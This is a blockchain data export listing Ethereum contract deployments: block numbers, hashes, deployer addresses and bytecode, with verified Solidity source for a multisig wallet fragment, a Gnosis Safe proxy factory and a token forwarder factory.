//data for transfer erc721 example: 0x42842e0e00000000000000000000000097b65ad59c8c96f2dd786751e6279a1a6d34a4810000000000000000000000006cb33e7179860d24635c66850f1f6a5d4f8eee6d0000000000000000000000000000000000000000000000000000000000042134
//data can contain any data to be executed.
function spend(address destination, uint256 value, uint8[] memory vs, bytes32[] memory rs, bytes32[] memory ss, bytes calldata data) external {
require(destination != address(this), "Not allow sending to yourself");
require(_validSignature(destination, value, vs, rs, ss, data), "invalid signatures");
spendNonce = spendNonce + 1;
//transfer tokens from this contract to the destination address
(bool sent, bytes memory _ret) = destination.call{value: value}(data);
if (sent) {
emit Spent(destination, value);
}
}
// Confirm that the signature triplets (v1, r1, s1) (v2, r2, s2) ...
// authorize a spend of this contract's funds to the given destination address.
function _validSignature(address destination, uint256 value, uint8[] memory vs, bytes32[] memory rs, bytes32[] memory ss, bytes memory data) private view returns (bool) {
require(vs.length == rs.length);
require(rs.length == ss.length);
require(vs.length <= owners.length);
require(vs.length >= required);
bytes32 message = _messageToRecover(destination, value, data);
address[] memory addrs = new address[](vs.length);
for (uint i = 0; i < vs.length; i++) {
//recover the address associated with the public key from elliptic curve signature or return zero on error
addrs[i] = ecrecover(message, vs[i]+27, rs[i], ss[i]);
}
require(_distinctOwners(addrs));
return true;
}
// Confirm the addresses as distinct owners of this contract.
function _distinctOwners(address[] memory addrs) private view returns (bool) {
if (addrs.length > owners.length) {
return false;
}
for (uint i = 0; i < addrs.length; i++) {
if (!isOwner[addrs[i]]) {
return false;
}
//address should be distinct
for (uint j = 0; j < i; j++) {
if (addrs[i] == addrs[j]) {
return false;
}
}
}
return true;
}
//support ERC721 safeTransferFrom
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
|
1 | 19,502,325 |
8434282d82b141c5e9288c8201ccd3eeba25f90ffc0375775cb19a03953fafd6
|
9c0dc9da99b5110699362ac0187f36099b5f2f9fc259be520d79a23da1e17572
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
d91d38d4299fd71e264547c92d9242a61e435f1f
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,326 |
a3ecdfe962ba19b68eac6fe5b92099ded85aeaa4e4028fffbe836999f7163ce6
|
0775e9567bd2ac9fdfee50584c8c4ebdb2d9dfacb795dd30d7d4658a85736f83
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
ad4e12021d723fa1772fe53be94901d01b778cce
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,326 |
a3ecdfe962ba19b68eac6fe5b92099ded85aeaa4e4028fffbe836999f7163ce6
|
db2fcd40b98b02a2dc795d4bc465555071f9788c338e8401cc860115f93a65ad
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
7d1b7a17e3384133a5775316ee3b7b86881b785f
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,502,326 |
a3ecdfe962ba19b68eac6fe5b92099ded85aeaa4e4028fffbe836999f7163ce6
|
28f55170a595ed719f896e5a94331bdc8b9ab273672261c032f2c0d1ba213dde
|
1d8f3ea7b9e47a53f7512448fc41840e3360df61
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
7d1cd27ee55bda089b24273734d6980690c63c3b
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,327 |
98f5727b29bec5858a3a4ce9aa4a9bcba3df09c510b3457b96aab115f694e978
|
07d9872b7a28be02c6c57fe28959590c8489fe8b4f2bb27ae1880315c5561a54
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
2cd214ef8e3cb02ae1845ee9ad050b2e0af2f2b5
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,328 |
01c3fe5c9a565ef2f55347b63d5fa33e010dd915bff2844cffe89eed783285ac
|
74031c99e76e0fbf8c3b277b01354f29d8f817e8ffa7c8f80909122a000eded4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
c04694bcb259c1f7c7e66a8dff441e4f308714b9
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,328 |
01c3fe5c9a565ef2f55347b63d5fa33e010dd915bff2844cffe89eed783285ac
|
9ab182db48631f33849cbd11348b2c57789465a41629bd55e265f4cd9379209b
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
59ab518d015506eb3583e7f613fa56a018877d74
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,329 |
a4241a5c1c7bc21701af8162bf8f1352fcb478c034bfe40480f592a7c026c0ca
|
54fe264d187f07d6e34f6897b3c5350cff2002564a28152de40a84f0112533ba
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
98eedce72d8f7ca719bcee73d1ad057ace9c6a1b
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,330 |
ba88c0533e86e19a49158fd0aeffbd481e2ec0e5476892eeb703b4d51fdb11a4
|
f507a8cee85b094ff9acc2a513bd2cdb2d55f31154247b95f67195c032131e9f
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
8a16846b4225ea5b4e4318c08c06ecbce37d7b67
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,330 |
ba88c0533e86e19a49158fd0aeffbd481e2ec0e5476892eeb703b4d51fdb11a4
|
b3853835c442797764663a4ab50ab96d8bb943cddabfdfdb3341155a97f23f02
|
84ba51a3b082066482385c2e77c15b36b2888888
|
fc27cd13b432805f47c90a16646d402566bd3143
|
53fc4689b97a8051a5313acb46bb98ab7346e1a1
|
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
|
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
| |
1 | 19,502,330 |
ba88c0533e86e19a49158fd0aeffbd481e2ec0e5476892eeb703b4d51fdb11a4
|
b3853835c442797764663a4ab50ab96d8bb943cddabfdfdb3341155a97f23f02
|
84ba51a3b082066482385c2e77c15b36b2888888
|
fc27cd13b432805f47c90a16646d402566bd3143
|
894d2947e5b6d7c3014a79d8949b437aef4de9e5
|
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
|
